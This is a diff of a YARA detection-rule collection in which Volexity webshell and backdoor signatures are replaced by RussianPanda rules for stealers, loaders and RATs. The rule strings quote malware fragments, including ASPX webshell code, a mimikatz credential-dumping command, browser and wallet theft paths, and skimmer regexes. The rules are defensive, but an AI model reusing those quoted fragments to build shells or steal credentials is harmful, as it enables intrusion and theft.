-		$pattern6 = { 41 0F BA 6D 00 0A BB 01 00 00 00 4C 8B F2 4C 8B F9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+		$s1 = {8B C6 E8 F4 FB FF FF}
+		$s2 = {66 33 D1 66 89 54 58 FE}
+		$s3 = {7C 53 74 61 72 74 75 70 46 6F 6C 64 65 72 7C}
+		$s4 = {44 65 6C 70 68 69}
+		$t1 = {C7 [3] 0B 40 40 00 [6] A1 ?? 61 40 00}
+		$t2 = {C7 ?? 24 00 40 40 00 A1 ?? 61 40 00}
+		$t3 = {8B ?? ?? FF D0 B8}
 
 	condition:
-		all of ($api*) or all of ($str*) or all of ($pattern*)
+		uint16(0)==0x5A4D and 3 of ($s*) or 2 of ($t*) and filesize <6MB
 }
-rule VOLEXITY_Webshell_Aspx_Simpleseesharp : WEBSHELL UNCLASSIFIED FILE
+rule RUSSIANPANDA_Fakebat_Powershell
 {
 	meta:
-		description = "A simple ASPX Webshell that allows an attacker to write further files to disk."
-		author = "threatintel@volexity.com"
-		id = "469fdf5c-e09e-5d44-a2e6-0864dcd0e18a"
-		date = "2021-03-01"
-		modified = "2021-09-01"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2021/2021-03-02 - Operation Exchange Marauder/indicators/yara.yar#L1-L19"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		hash = "893cd3583b49cb706b3e55ecb2ed0757b977a21f5c72e041392d1256f31166e2"
-		logic_hash = "6f62249a68bae94e5cbdb4319ea5cde9dc071ec7a4760df3aafe78bc1e072c30"
+		description = "Detects FakeBat PowerShell scripts"
+		author = "RussianPanda"
+		id = "76149a6f-c370-5e48-82cc-c89b545c0aa8"
+		date = "2023-12-01"
+		modified = "2023-12-01"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/FakeBat/fakebat_powershell.yar#L1-L13"
+		license_url = "N/A"
+		logic_hash = "df6b30d97ac6c9b248fed0d901e8a0a6ad1d855483a5006b008b839d9961092a"
 		score = 75
-		quality = 80
-		tags = "WEBSHELL, UNCLASSIFIED, FILE"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = ""
 
 	strings:
-		$header = "<%@ Page Language=\"C#\" %>"
-		$body = "<% HttpPostedFile thisFile = Request.Files[0];thisFile.SaveAs(Path.Combine"
+		$s1 = "$LoadDomen/?status=start&av=" nocase
+		$s2 = "$xxx.gpg" nocase
 
 	condition:
-		$header at 0 and $body and filesize <1KB
+		all of ($s*)
 }
-rule VOLEXITY_Webshell_Aspx_Regeorgtunnel : WEBSHELL COMMODITY
+import "pe"
+
+rule RUSSIANPANDA_Bandit_Stealer : FILE
 {
 	meta:
-		description = "variation on reGeorgtunnel"
-		author = "threatintel@volexity.com"
-		id = "b8aa27c9-a28a-5051-8f81-1184f28842ed"
-		date = "2021-03-01"
-		modified = "2021-09-01"
-		reference = "https://github.com/sensepost/reGeorg/blob/master/tunnel.aspx"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2021/2021-03-02 - Operation Exchange Marauder/indicators/yara.yar#L21-L43"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		hash = "406b680edc9a1bb0e2c7c451c56904857848b5f15570401450b73b232ff38928"
-		logic_hash = "ea3d0532cb609682922469e8272dc8061efca3b3ae27df738ef2646e30404c6f"
-		score = 75
-		quality = 80
-		tags = "WEBSHELL, COMMODITY"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		description = "Detects the latest build of Bandit Stealer"
+		author = "RussianPanda"
+		id = "ed61177d-d70d-5062-8703-f2f2b9d63751"
+		date = "2023-05-05"
+		modified = "2023-05-05"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/BanditStealer/bandit_stealer.yar#L3-L21"
+		license_url = "N/A"
+		logic_hash = "304bf05a58d5b762ffe078457739188692f4f7109db929418832c4379b21ae72"
+		score = 50
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$s1 = "System.Net.Sockets"
-		$s2 = "System.Text.Encoding.Default.GetString(Convert.FromBase64String(StrTr(Request.Headers.Get"
-		$t1 = ".Split('|')"
-		$t2 = "Request.Headers.Get"
-		$t3 = ".Substring("
-		$t4 = "new Socket("
-		$t5 = "IPAddress ip;"
+		$s1 = {48 8D 35 ?? ?? B6 FF 48 8D BE DB ?? ?? FF 48 8D 87 AC ?? ?? 00 FF 30 C7 00 ?? ?? ?? ?? 50 57 31 DB 31 C9}
+		$s2 = {48 FF C0 88 17 83 E9 01 8A 10 48 8D 7F 01 75 F0}
 
 	condition:
-		all of ($s*) or all of ($t*)
+		all of ($s*) and ( uint16(0)==0x5A4D or uint32(0)==0x4464c457f) and pe.sections[0].name contains "UPX0" and pe.sections[1].name contains "UPX1" and pe.sections[0].characteristics&pe.SECTION_MEM_EXECUTE and pe.sections[0].characteristics&pe.SECTION_MEM_WRITE and pe.sections[1].characteristics&pe.SECTION_MEM_EXECUTE and pe.sections[1].characteristics&pe.SECTION_MEM_WRITE
 }
-rule VOLEXITY_Webshell_Aspx_Sportsball : WEBSHELL
+rule RUSSIANPANDA_Mal_Xred_Backdoor : FILE
 {
 	meta:
-		description = "The SPORTSBALL webshell allows attackers to upload files or execute commands on the system."
-		author = "threatintel@volexity.com"
-		id = "d8cf1eb7-c08b-5c3c-b7d8-135b15418a7d"
-		date = "2021-03-01"
-		modified = "2021-09-01"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2021/2021-03-02 - Operation Exchange Marauder/indicators/yara.yar#L45-L68"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		hash = "2fa06333188795110bba14a482020699a96f76fb1ceb80cbfa2df9d3008b5b0a"
-		logic_hash = "4f90d727db91a93f53d08d2134f57bd03e7e2367aec3d78d275cfd192d7fb928"
+		description = "Detects XRed backdoor"
+		author = "RussianPanda"
+		id = "61f5fcb8-9351-5db0-8bce-123c96d2a443"
+		date = "2024-02-09"
+		modified = "2024-02-09"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/XRed_Backdoor/mal_xred_backdoor.yar#L1-L18"
+		license_url = "N/A"
+		hash = "9e1fbae3a659899dde8db18a32daa46a"
+		logic_hash = "36d138a0efade1d5c075662dc528235fe66b49879730db78c4c7290fec7420b5"
 		score = 75
-		quality = 80
-		tags = "WEBSHELL"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 73
+		tags = "FILE"
 
 	strings:
-		$uniq1 = "HttpCookie newcook = new HttpCookie(\"fqrspt\", HttpContext.Current.Request.Form"
-		$uniq2 = "ZN2aDAB4rXsszEvCLrzgcvQ4oi5J1TuiRULlQbYwldE="
-		$var1 = "Result.InnerText = string.Empty;"
-		$var2 = "newcook.Expires = DateTime.Now.AddDays("
-		$var3 = "System.Diagnostics.Process process = new System.Diagnostics.Process()"
-		$var4 = "process.StandardInput.WriteLine(HttpContext.Current.Request.Form[\""
-		$var5 = "else if (!string.IsNullOrEmpty(HttpContext.Current.Request.Form[\""
-		$var6 = "<input type=\"submit\" value=\"Upload\" />"
+		$s1 = {4B 65 79 62 6F 61 72 64 20 48 6F 6F 6B 20 2D 3E 20 41 63 74 69 76 65}
+		$s2 = {54 43 50 20 43 6C 69 65 6E 74 20 2D 3E 20 41 6B 74 69 66}
+		$s3 = {55 53 42 20 48 6F 6F 6B 73 20 2D 3E 20 41 63 74 69 76 65}
+		$s4 = {45 58 45 55 52 4C 31}
+		$s5 = {49 4E 49 55 52 4C 33}
+		$s6 = {58 52 65 64 35 37}
 
 	condition:
-		any of ($uniq*) or all of ($var*)
+		uint16(0)==0x5A4D and 3 of them
 }
-import "pe"
-
-rule VOLEXITY_Trojan_Win_Backwash_Cpp : XEGROUP
+rule RUSSIANPANDA_Win_Mal_Mpxdropper : FILE
 {
 	meta:
-		description = "CPP loader for the Backwash malware."
-		author = "threatintel@volexity.com"
-		id = "8a1c4ff1-1827-5e6f-b838-664d8c3be840"
-		date = "2021-11-17"
-		modified = "2021-12-07"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2021/2021-12-06 - XEGroup/indicators/yara.yar#L3-L20"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "c8ed2d3103aa85363acd7f5573aeb936a5ab5a3bacbcf1f04e6b298299f24dae"
+		description = "Detects MpxDropper"
+		author = "RussianPanda"
+		id = "26ee0a12-c727-5953-8ebb-dd8a8d772561"
+		date = "2024-03-01"
+		modified = "2024-03-01"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/MpxDropper/mal_win_MpxDropper.yar#L1-L11"
+		license_url = "N/A"
+		hash = "3a44a45afbfe5fc7cdeb3723e05c4e892b079abdb7d1e8d6fc70496ef0a14d5d"
+		logic_hash = "e8d2672553c7f44e1cc177fad6596bd58b5c32a7541f91ce1207e6b21ef6e52d"
 		score = 75
-		quality = 80
-		tags = "XEGROUP"
-		hash1 = "0cf93de64aa4dba6cec99aa5989fc9c5049bc46ca5f3cb327b49d62f3646a852"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 83
+		tags = "FILE"
 
 	strings:
-		$s1 = "cor1dbg.dll" wide
-		$s2 = "XEReverseShell.exe" wide
-		$s3 = "XOJUMAN=" wide
+		$s1 = {43 3a 5c 55 73 65 72 73 5c 6d 70 78 31 36 5c 73 6f 75 72 63 65 5c 72 65 70 6f 73}
 
 	condition:
-		2 of them
+		uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule VOLEXITY_Trojan_Win_Iis_Shellsave : XEGROUP
+rule RUSSIANPANDA_Vidar_DLL_Embedded
 {
 	meta:
-		description = "Detects an AutoIT backdoor designed to run on IIS servers and to install a webshell. This rule will only work against memory samples."
-		author = "threatintel@volexity.com"
-		id = "a89defa5-4b22-5650-a0c0-f4b3cf3377a7"
-		date = "2021-11-17"
-		modified = "2021-12-07"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2021/2021-12-06 - XEGroup/indicators/yara.yar#L22-L40"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "f34d6f4ecaa4cde5965f6b0deac55c7133a2be96f5c466f34775be6e7f730493"
+		description = "Vidar Stealer with embedded DLL dependencies"
+		author = "RussianPanda"
+		id = "462fe42a-2504-5e7e-ad90-2c7e54478204"
+		date = "2023-05-02"
+		modified = "2023-05-05"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/VidarStealer/vidar_ver3.6_3.7_dll_embedded.yar#L1-L21"
+		license_url = "N/A"
+		logic_hash = "98d23523c2ab196f670dc33164954fc69a1c1692fa870a476e25d7dd3cebace2"
 		score = 75
-		quality = 80
-		tags = "XEGROUP"
-		hash1 = "21683e02e11c166d0cf616ff9a1a4405598db7f4adfc87b205082ae94f83c742"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = ""
 
 	strings:
-		$s1 = "getdownloadshell" ascii
-		$s2 = "deleteisme" ascii
-		$s3 = "sitepapplication" ascii
-		$s4 = "getapplicationpool" ascii
+		$s = {50 4B 03 04 14 00 00 00 08 00 24 56 25 55 2B 6D 5C 08 39 7C 05}
+		$a1 = "https://t.me/mastersbots"
+		$a2 = "https://steamcommunity.com/profiles/76561199501059503"
+		$a3 = "%s\\%s\\Local Storage\\leveldb"
+		$a4 = "\\Autofill\\%s_%s.txt"
+		$a5 = "\\Downloads\\%s_%s.txt"
+		$a6 = "\\CC\\%s_%s.txt"
+		$a7 = "Exodus\\exodus.wallet"
 
 	condition:
-		all of them
+		$s and 5 of ($a*)
 }
-import "pe"
-
-rule VOLEXITY_Trojan_Backwash_Iis_Scout : XEGROUP
+rule RUSSIANPANDA_Gh0Strat : FILE
 {
 	meta:
-		description = "Simple backdoor which collects information about the IIS server it is installed on. It appears to the attacker refers to this components as 'XValidate' - i.e. to validate infected machines."
-		author = "threatintel@volexity.com"
-		id = "1f768b39-21a0-574d-9043-5104540003f7"
-		date = "2021-11-17"
-		modified = "2021-12-07"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2021/2021-12-06 - XEGroup/indicators/yara.yar#L42-L66"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "18c4e338905ff299d75534006037e63a8f9b191f062cc97b0592245518015f88"
+		description = "Detects Gh0stRAT"
+		author = "RussianPanda"
+		id = "db310549-feed-57b8-9ec0-232b6eda62f9"
+		date = "2024-07-09"
+		modified = "2024-07-09"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/Gh0stRAT/Gh0stRAT.yar#L1-L14"
+		license_url = "N/A"
+		hash = "678b06ecdbc9b186788cf960332566f9"
+		logic_hash = "bc4bdad83a0e23273774c3d4812cabe9fa44897c8ff2e308004e03b4f1622cd5"
 		score = 75
-		quality = 80
-		tags = "XEGROUP"
-		hash1 = "6f44a9c13459533a1f3e0b0e698820611a18113c851f763797090b8be64fd9d5"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$s1 = "SOAPRequest" ascii
-		$s2 = "requestServer" ascii
-		$s3 = "getFiles" ascii
-		$s4 = "APP_POOL_CONFIG" wide
-		$s5 = "<virtualDirectory" wide
-		$s6 = "stringinstr" ascii
-		$s7 = "504f5354" wide
-		$s8 = "XValidate" ascii
-		$s9 = "XEReverseShell" ascii
-		$s10 = "XERsvData" ascii
+		$s1 = "SAM\\SAM\\Domains\\Account\\Users\\Names\\%s"
+		$s2 = "GetMP privilege::debug sekurlsa::logonpasswords exit"
+		$s3 = "Http/1.1 403 Forbidden"
+		$s4 = "WinSta0\\Default"
 
 	condition:
-		6 of them
+		uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule VOLEXITY_Web_Js_Xeskimmer : XEGROUP
+rule RUSSIANPANDA_Win_Mal_Gobitloader : FILE
 {
 	meta:
-		description = "Detects JScript code using in skimming credit card details."
-		author = "threatintel@volexity.com"
-		id = "2c0911cf-a679-5d4e-baad-777745a28e27"
-		date = "2021-11-17"
-		modified = "2021-12-07"
-		reference = "https://github.com/MBThreatIntel/skimmers/blob/master/null_gif_skimmer.js"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2021/2021-12-06 - XEGroup/indicators/yara.yar#L68-L97"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "cc46e9fab5f408fde13c3897d378a1a2e4acb448f40ca4935c19024ebdc252d7"
+		description = "Detects GoBitLoader"
+		author = "RussianPanda"
+		id = "4ebc7987-c1b2-5682-943f-7c19a9cb6b36"
+		date = "2024-03-24"
+		modified = "2024-03-24"
+		reference = "https://www.malwarebytes.com/blog/threat-intelligence/2024/03/new-go-loader-pushes-rhadamanthys"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/GoBitLoader/win_mal_GoBitLoader.yar#L1-L13"
+		license_url = "N/A"
+		logic_hash = "66951b290bef6a6c9eef4ea674472465dfe0ec5072dce21f48b58191f7ce90e3"
 		score = 75
-		quality = 80
-		tags = "XEGROUP"
-		hash1 = "92f9593cfa0a28951cae36755d54de63631377f1b954a4cb0474fa0b6193c537"
-		memory_suitable = 0
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 79
+		tags = "FILE"
 
 	strings:
-		$s1 = ".match(/^([3456]\\d{14,15})$/g" ascii
-		$s2 = "^(p(wd|ass(code|wd|word)))" ascii
-		$b1 = "c('686569676874')" ascii
-		$b2 = "c('7769647468')" ascii
-		$c1 = "('696D67')" ascii
-		$c2 = "('737263')" ascii
-		$magic = "d=c.charCodeAt(b),a+=d.toString(16);"
+		$s1 = {6D 61 69 6E 2E 52 65 64 69 72 65 63 74 54 6F 50 61 79 6C 6F 61 64}
+		$s2 = {6D 61 69 6E 2E 48 6F 6C 6C 6F 77 50 72 6F 63 65 73 73}
+		$s3 = {6D 61 69 6E 2E 41 65 73 44 65 63 6F 64 65 2E 66 75 6E 63 31}
 
 	condition:
-		all of ($s*) or all of ($b*) or all of ($c*) or $magic
+		uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule VOLEXITY_Trojan_Win_Xe_Backwash : XEGROUP FILE
+rule RUSSIANPANDA_Mal_Msedge_Dll_Virusloader : FILE
 {
 	meta:
-		description = "The BACKWASH malware family, which acts as a reverse shell on the victim machine."
-		author = "threatintel@volexity.com"
-		id = "93bbbf58-8ba2-565f-98f5-51d6f1a1ab06"
-		date = "2020-09-04"
-		modified = "2021-12-07"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2021/2021-12-06 - XEGroup/indicators/yara.yar#L99-L129"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		hash = "815d262d38a26d5695606d03d5a1a49b9c00915ead1d8a2c04eb47846100e93f"
-		logic_hash = "cabe7d17017c95943b7ae9d1827b3a5cb8ed3b02506222367498a73fec8d0914"
+		description = "Detects malicious msedge.dll file"
+		author = "RussianPanda"
+		id = "7139ee30-de9a-5ef0-a96f-2ab9c239c6ff"
+		date = "2024-01-19"
+		modified = "2024-01-19"
+		reference = "https://blog.phylum.io/npm-package-found-delivering-sophisticated-rat/"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/virusloader/mal_msedge_dll_virusloader.yar#L1-L16"
+		license_url = "N/A"
+		hash = "ab2e3b07170ef1516af3af0d03388868"
+		logic_hash = "659fd5fa3121fec5bf4cceb6f3dea95bf4cbcde7441d6f11c35288d8ad75a803"
 		score = 75
-		quality = 80
-		tags = "XEGROUP, FILE"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$pdb1 = "x:\\MultiOS_ReverseShell-master\\Multi-OS_ReverseShell\\obj\\Release\\XEReverseShell.pdb"
-		$pdb2 = "\\Release\\XEReverseShell.pdb"
-		$a1 = "RunServer" ascii
-		$a2 = "writeShell" ascii
-		$a3 = "GetIP" ascii
-		$b1 = "xequit" wide
-		$b2 = "setshell" wide
+		$s1 = {C6 85 ?? FE FF FF ?? C6}
+		$s2 = {C7 85 ?? FD FF FF}
+		$s3 = {BF 60 01 00 00 [18] 30 04 39 41}
 
 	condition:
-		any of ($pdb*) or (( all of ($a*) or all of ($b*)) and filesize <40KB)
+		uint16(0)==0x5A4D and all of ($s*) and #s1>30 and #s2>30 and filesize <300KB
 }
-import "pe"
-
-rule VOLEXITY_Trojan_Win_Pngexe : XEGROUP FILE
+rule RUSSIANPANDA_Prysmax_Stealer : FILE
 {
 	meta:
-		description = "Detects PNGEXE, a simple reverse shell loader."
-		author = "threatintel@volexity.com"
-		id = "a0168176-6b2d-56ba-baaa-f011d9f5e3ad"
-		date = "2020-09-04"
-		modified = "2021-12-07"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2021/2021-12-06 - XEGroup/indicators/yara.yar#L132-L159"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		hash = "72f7d4d3b9d2e406fa781176bd93e8deee0fb1598b67587e1928455b66b73911"
-		logic_hash = "05ab554eaf208ff0f5fde37b835c92e55bf0de21bd2700fdd31d81ba338cbdc7"
+		description = "Detects Prysmax Stealer"
+		author = "RussianPanda"
+		id = "97ab92b8-1771-5881-9cd1-d8ff76b8f380"
+		date = "2024-01-09"
+		modified = "2024-01-10"
+		reference = "https://www.cyfirma.com/outofband/new-maas-prysmax-launches-fully-undetectable-infostealer/"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/Prysmax Stealer/prysmax_stealer.yar#L1-L21"
+		license_url = "N/A"
+		logic_hash = "869eee7dd5209bdea98c248791b9ac911e3daabe6d440aa62aecefa43539a41c"
 		score = 75
-		quality = 80
-		tags = "XEGROUP, FILE"
-		hash2 = "4d913ecb91bf32fd828d2153342f5462ae6b84c1a5f256107efc88747f7ba16c"
-		memory_suitable = 0
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 73
+		tags = "FILE"
 
 	strings:
-		$a1 = "amd64.png" ascii
-		$a2 = "x86.png" ascii
+		$a1 = {23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23}
+		$s2 = {73 70 72 79 73 6D 61 78}
+		$s3 = {56 43 52 55 4E 54 49 4D 45 31 34 30 2E 64 6C 6C}
+		$s4 = {56 43 52 55 4E 54 49 4D 45 31 34 30 5F 31 2E 64 6C 6C}
+		$s5 = {4D 53 56 43 50 31 34 30 2E 64 6C 6C}
+		$s6 = {50 79 49 6E 73 74 61 6C 6C 65 72}
 
 	condition:
-		uint16(0)==0x5A4D and (( any of ($a*) and filesize >30KB and filesize <200KB) or pe.imphash()=="ca41f83b03cf3bb51082dbd72e3ba1ba" or pe.imphash()=="e93abc400902e72707edef1f717805f0" or pe.imphash()=="83a5d4aa20a8aca2a9aa6fc2a0aa30b0")
+		all of ($s*) and uint16(0)==0x5A4D and $a1 in (9600000.. filesize ) and #a1>600 and filesize >60MB and filesize <200MB
 }
-import "pe"
-
-rule VOLEXITY_Trojan_Win_Backwash_Iis : XEGROUP
+rule RUSSIANPANDA_Win_Mal_Zloader : FILE
 {
 	meta:
-		description = "Variant of the BACKWASH malware family with IIS worm functionality."
-		author = "threatintel@volexity.com"
-		id = "08a86a58-32af-5c82-90d2-d6603dae8d63"
-		date = "2020-09-04"
-		modified = "2021-12-07"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2021/2021-12-06 - XEGroup/indicators/yara.yar#L161-L184"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		hash = "98e39573a3d355d7fdf3439d9418fdbf4e42c2e03051b5313d5c84f3df485627"
-		logic_hash = "95a7f9e0afb031b49cd0da66b5a887d26ad2e06cce625bc45739b4a80e96ce9c"
+		description = "Detects Zloader and other Zloader modules that employ the same encryption"
+		author = "RussianPanda"
+		id = "3f72e067-c82b-5c65-92c8-010955971d87"
+		date = "2024-03-10"
+		modified = "2024-03-10"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/Zloader/win_mal_Zloader.yar#L1-L13"
+		license_url = "N/A"
+		logic_hash = "9ac9e8ca4a6f84e1bccac2292705ee6ebbc1595eb3f40ed777f7973e9bda7fc1"
 		score = 75
-		quality = 80
-		tags = "XEGROUP"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$a1 = "GetShell" ascii
-		$a2 = "smallShell" ascii
-		$a3 = "createSmallShell" ascii
-		$a4 = "getSites" ascii
-		$a5 = "getFiles " ascii
-		$b1 = "action=saveshell&domain=" ascii wide
-		$b2 = "&shell=backsession.aspx" ascii wide
+		$s1 = {8B 45 ?? 89 45 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C1 8B 45 ?? 99 F7 F9 8B 45 ?? 48 63 D2 48 8D 0D ?? ?? ?? 00 0F BE 0C 11 31 C8 88 C2 48 8B 45 F0 48 63 4D}
+		$s2 = {48 63 C9 44 0F B6 04 08 48 8B 45 E8 8B 4D D4 0F B6 14 08 44 31 C2 88 14 08 8B 45 D4}
+		$s3 = {B9 11 00 00 00 99 F7 F9 8B [0-20] 31 C8 88 C2}
+		$s4 = {8B 45 ?? BE 11 00 00 00 99 F7 [0-20] 83 F6 FF}
 
 	condition:
-		all of ($a*) or any of ($b*)
+		uint16(0)==0x5A4D and any of them
 }
-rule VOLEXITY_Apt_Rb_Rokrat_Loader : INKYSQUID
+rule RUSSIANPANDA_Win_Mal_Glorysprout_Stealer : FILE
 {
 	meta:
-		description = "Ruby loader seen loading the ROKRAT malware family."
-		author = "threatintel@volexity.com"
-		id = "69d09560-a769-55d3-a442-e37f10453cde"
-		date = "2021-06-22"
-		modified = "2021-09-02"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2021/2021-08-24 - InkySquid Part 2/indicators/yara.yar#L1-L25"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "30ae14fd55a3ab60e791064f69377f3b9de9b871adfd055f435df657f89f8007"
+		description = "Detects GlorySprout Stealer"
+		author = "RussianPanda"
+		id = "44c50f20-479e-5960-9ab9-97b9a17d7cbf"
+		date = "2024-03-16"
+		modified = "2024-03-16"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/GlorySprout/win_mal_GlorySprout_Stealer.yar#L1-L13"
+		license_url = "N/A"
+		hash = "8996c252fc41b7ec0ec73ce814e84136be6efef898822146c25af2330f4fd04a"
+		logic_hash = "c843f7924e69c1b9fc3676178aa630319fe25605deddcd73c4905c51cc97d7eb"
 		score = 75
-		quality = 80
-		tags = "INKYSQUID"
-		hash1 = "5bc52f6c1c0d0131cee30b4f192ce738ad70bcb56e84180f464a5125d1a784b2"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$magic1 = "'https://update.microsoft.com/driverupdate?id=" ascii wide
-		$magic2 = "sVHZv1mCNYDO0AzI';" ascii wide
-		$magic3 = "firoffset..scupd.size" ascii wide
-		$magic4 = /alias UrlFilter[0-9]{2,5} eval;"/
-		$s1 = "clRnbp9GU6oTZsRGZpZ"
-		$s2 = "RmlkZGxlOjpQb2ludGVy"
-		$s3 = "yVGdul2bQpjOlxGZklmR"
-		$s4 = "XZ05WavBlO6UGbkRWaG"
+		$s1 = {25 0F 00 00 80 79 05 48 83 C8 F0 40}
+		$s2 = {8B 82 A4 00 00 00 8B F9 89 06 8D 4E 0C 8B 82 A8 00 00 00 89 46 04 0F B7 92 AC 00 00 00 89 56 08}
+		$s3 = {0F B6 06 C1 E7 04 03 F8 8B C7 25 00 00 00 F0 74 0B C1 E8 18}
 
 	condition:
-		any of ($magic*) or any of ($s*)
+		uint16(0)==0x5A4D and all of them and #s1>100
 }
-rule VOLEXITY_Apt_Py_Bluelight_Ldr : INKYSQUID
+import "pe"
+
+rule RUSSIANPANDA_Andeloader
 {
 	meta:
-		description = "Python Loader used to execute the BLUELIGHT malware family."
-		author = "threatintel@volexity.com"
-		id = "f8da3e40-c3b0-5b7f-8ece-81874993d8cd"
-		date = "2021-06-22"
-		modified = "2021-09-02"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2021/2021-08-24 - InkySquid Part 2/indicators/yara.yar#L27-L45"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "e7e18a6d648b1383706439ba923335ac4396f6b5d2a3dc8f30f63ded7df29eda"
+		description = "Detects Ande Loader"
+		author = "RussianPanda"
+		id = "c08d63b6-9fef-505d-9611-9dd0403c7c7c"
+		date = "2023-12-11"
